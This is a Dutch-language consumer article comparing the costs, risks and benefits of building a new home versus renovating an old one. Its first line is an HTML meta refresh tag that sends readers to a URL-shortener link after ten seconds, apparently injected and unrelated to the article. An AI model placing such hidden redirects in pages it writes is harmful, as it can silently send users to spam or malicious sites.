<meta http-equiv="Refresh" content="10;URL=https://zeep.ly/AMAzZ">
-
User Ratings (0 Votes)
0
Een nieuwe woning zoeken betekent keuzes maken. Zo moet je beslissen of je een huis of appartement wil kopen, naar de stad of het platteland wil trekken en natuurlijk ook of je zelf wil bouwen of toch liever wil renoveren. Wat is nu de beste keuze?
Zowel bouwen als renoveren hebben hun voor- en nadelen. Waar moet je rekening mee houden? Wat gaat het snelst? En wat is het nu het voordeligst, bouwen of renoveren? We helpen je graag op weg.
A. Een oude woning renoveren?
Renoveren, en de reeks onverwachte verrassingen die vaak bij verbouwingen komt kijken, zullen ongetwijfeld stress en kopzorgen veroorzaken, maar door te renoveren in plaats van te bouwen kan je soms wel stevig besparen.
Goedkoopste optie
Wie zelf de handen uit de mouwen steekt en een oude woning ombouwt tot een moderne, energiezuinige thuis, zal flink wat centjes besparen. Hoe minder aannemers en helpende handen je nodig hebt, hoe goedkoper het renovatieverhaal wordt. Bovendien kan je over de vraagprijs van de woning onderhandelen. Nog een voordeel is dat je bij renovatiewerken geniet van een verlaagd btw-tarief van 6%. Voor nieuwbouwwoningen is dat 21%. Dat scheelt alweer een hoop euro’s.Maar waag je wel enkel aan werkzaamheden waarvan je weet dat je ze tot een goed einde kan brengen. Want ook al lijkt het op het eerste gezicht zo gepiept, als je geen doorgewinterd vakman bent of geen handige harry aan je zijde hebt, kan de renovatiedroom snel veranderen in een nachtmerrie gemaakt van bakstenen, mortel en balken. Kiezen voor een renovatieproject vraagt om stalen zenuwen, veel inbeeldingsvermogen, een planmatige aanpak en vooral veel zin om je in het avontuur te storten.
Renovatieproject scheiden
Renoveren biedt het grote voordeel dat je de werken in fases kan aanpakken, afhankelijk van je budget en prioriteiten. Zo hoef je niet alles in één keer te bekostigen, wat vaak bij een nieuwbouw wel het geval is. Je kan starten met de meest dringende of belangrijke renovaties en dan later die lelijke (maar functionele) badkamer en keuken aanpakken. Op die manier wordt de financiële druk gespreid.
Woning met karakter
Renoveren geeft je de kans om die charmante, traditionele woning waarvoor jij gevallen bent een hedendaagse toets te geven. En wie houdt er nu niet van een goede make-over? Uit een renovatieproject haal je vooral veel voldoening. Want hoe groot de obstakels soms ook zijn, dankzij jouw harde werk wordt een afgeleefd huis opnieuw een thuis!
Onverwachte kosten
Akkoord, de vraagprijs is bespreekbaar en de expertise van handige vrienden kost pakken minder dan die van een aannemer. Maar toch is renoveren ook allesbehalve goedkoop te noemen.
Afhankelijk van de nodige ingrepen zal je toch voor bepaalde klussen een beroep moeten doen op een aannemer. Zelf verwarming installeren, vloeren, elektriciteit leggen of ventilatiekanalen installeren is niet aan iedereen weggelegd. Ook moet je rekening houden met de energienormen waaraan de renovatie dient te voldoen. Koop je een woning met energielabel E of F, dan ben je verplicht om aan het klussen te slaan en binnen zes jaar minstens een energielabel D te halen. Die energetische renovaties kosten nu eenmaal geld, al steekt de overheid een handje toe met de Mijn VerbouwPremie.
En dus is het slim om advies in te winnen bij een deskundige. Ga je structurele aanpassingen aanbrengen? Dan ben je verplicht om een architect onder de arm te nemen. Dat kan een flinke hap uit je budget nemen. En wat met ongeplande verrassingen? Een prijs plakken op een renovatieproject is allesbehalve eenvoudig. Een mooi spaarpotje is daarom zeker geen overbodige luxe.
Meer tips om een verbouwing te overleven, lees je hier.
Of toch maar bouwen?
Van A tot Z
Als je gaat bouwen, krijg je de kans om de woning van je dromen te ontwerpen. Een afgewerkte thuis op maat dus. Op dat vlak heeft bouwen een streepje voor op renoveren. Wil je een ruime slaapkamer met dressing en aanpalende badkamer? Of droom je van een grote leefruimte met geïntegreerde keuken? Geen probleem, jij beslist!
Al betekent dat wel dat jij de coördinatie tussen de verschillende partijen moet opvolgen. De architect neemt een groot deel van de taken op zich, maar administratief ben jij de verantwoordelijke.
Prijskaartje van een nieuwbouwwoning
Het struikelblok is natuurlijk vaak het prijskaartje dat aan een nieuwbouwproject vasthangt. De initiële investeringskost ligt namelijk stukken hoger dan bij een renovatieproject. Maar gaat dat ook op voor de totale kostprijs?
Het totale kostenplaatje voor een totaalrenovatieproject komt soms in de buurt van dat van een nieuwbouwwoning. Als je slim renoveert of ervaring hebt, kan je inderdaad de kosten flink drukken. Ga je zelf bouwen en ben jij een gedreven doe-het-zelver? Dan kan je eigenlijk ook bij een nieuwbouwproject een deel van de klusjes op jou nemen. Dat hoeven daarom geen grote werkzaamheden te zijn. Zo kan je bijvoorbeeld zelf de schilderwerken uitvoeren of de keuken installeren om geld te besparen.
Vooraf maak je natuurlijk een gedetailleerde kostenraming op basis van prijsoffertes van aannemers, maar dat is geen garantie voor de eindafrekening bij oplevering. Ook bij nieuwbouwprojecten kunnen er onverwachte problemen opduiken, loop je het risico op vertragingen en kunnen prijzen van bouwmaterialen stijgen. Er zijn namelijk verschillende partijen betrokken bij een nieuwbouwproject waaronder projectontwikkelaars, aannemers en leveranciers. Komt een bepaalde partij de afspraken niet na? Dan heeft dat invloed op de hele planning. Een nieuwbouwproject is beter te plannen dan een renovatie, maar je moet wel flexibel blijven.
Sleutel-op-de-deur
Wil je die mogelijke problemen bij nieuwbouwprojecten vermijden? Dan kan je in zee gaan met een sleutel-op-de-deurfirma? Dat geeft je een aantal extra zekerheden:
- Je hoeft zowel administratief als praktisch zelf niets te doen
- Het pand voldoet aan de opgelegde voorschriften
- Je hebt een betere inschatting van de totale kostprijs
- Je wordt begeleid door een team van bouwexperts
- Je hebt meer kans dat de woning binnen de afgesproken termijn af is.
- Handig voor wie door het leven gaat met twee linkerhanden of een gebrek aan tijd heeft.
Je bent wel minder vrij in je keuze van materialen. Deze worden vaak op voorhand door de projectontwikkelaar bepaald. Wijk je af van het standaardbudget? Dan kunnen de kosten voor de afwerking van je woning oplopen.
Energiezuinig
Het allergrootste voordeel van een nieuwbouwwoning is dat je een spiksplinternieuwe woonst creëert. Je hoeft de eerste jaren geen onderhoudswerken te verwachten en, dankzij de huidige bouwnormen, krijg je ongetwijfeld heel lage energiefacturen in de bus. Je moet dus wel stevig investeren in de initiële bouwplannen, maar daarna zit je voor vele jaren goed. De kans is bovendien groot dat de waarde van je energiezuinige nieuwbouwwoning alleen maar toeneemt. Een veilige investering, met andere woorden.
Het verdict?
Kiezen voor bouwen of renoveren is een kwestie van wikken en wegen. Een nieuwbouwwoning geeft je carte blanche en staat garant voor lage energiefacturen, maar valt over het algemeen duurder uit. Wie zich aan een grondige renovatie waagt, zal meestal minder betalen dan voor een nieuwbouwwoning en kan de kosten spreiden over enkele jaren, maar onverwachte kosten zijn nooit veraf en je hebt niet dezelfde vrijheid als wanneer je zelf een nieuwe woning uittekent.
Informeer je dus voldoende over beide opties en houd de vastgoedmarkt nauw in de gaten. Zelfkennis, rationeel denken en een grondige voorbereiding zijn essentieel. Maar vergeet vooral niet te genieten van deze nieuwe mijlpaal in je leven. Wij wensen je alvast veel succes met je zoektocht!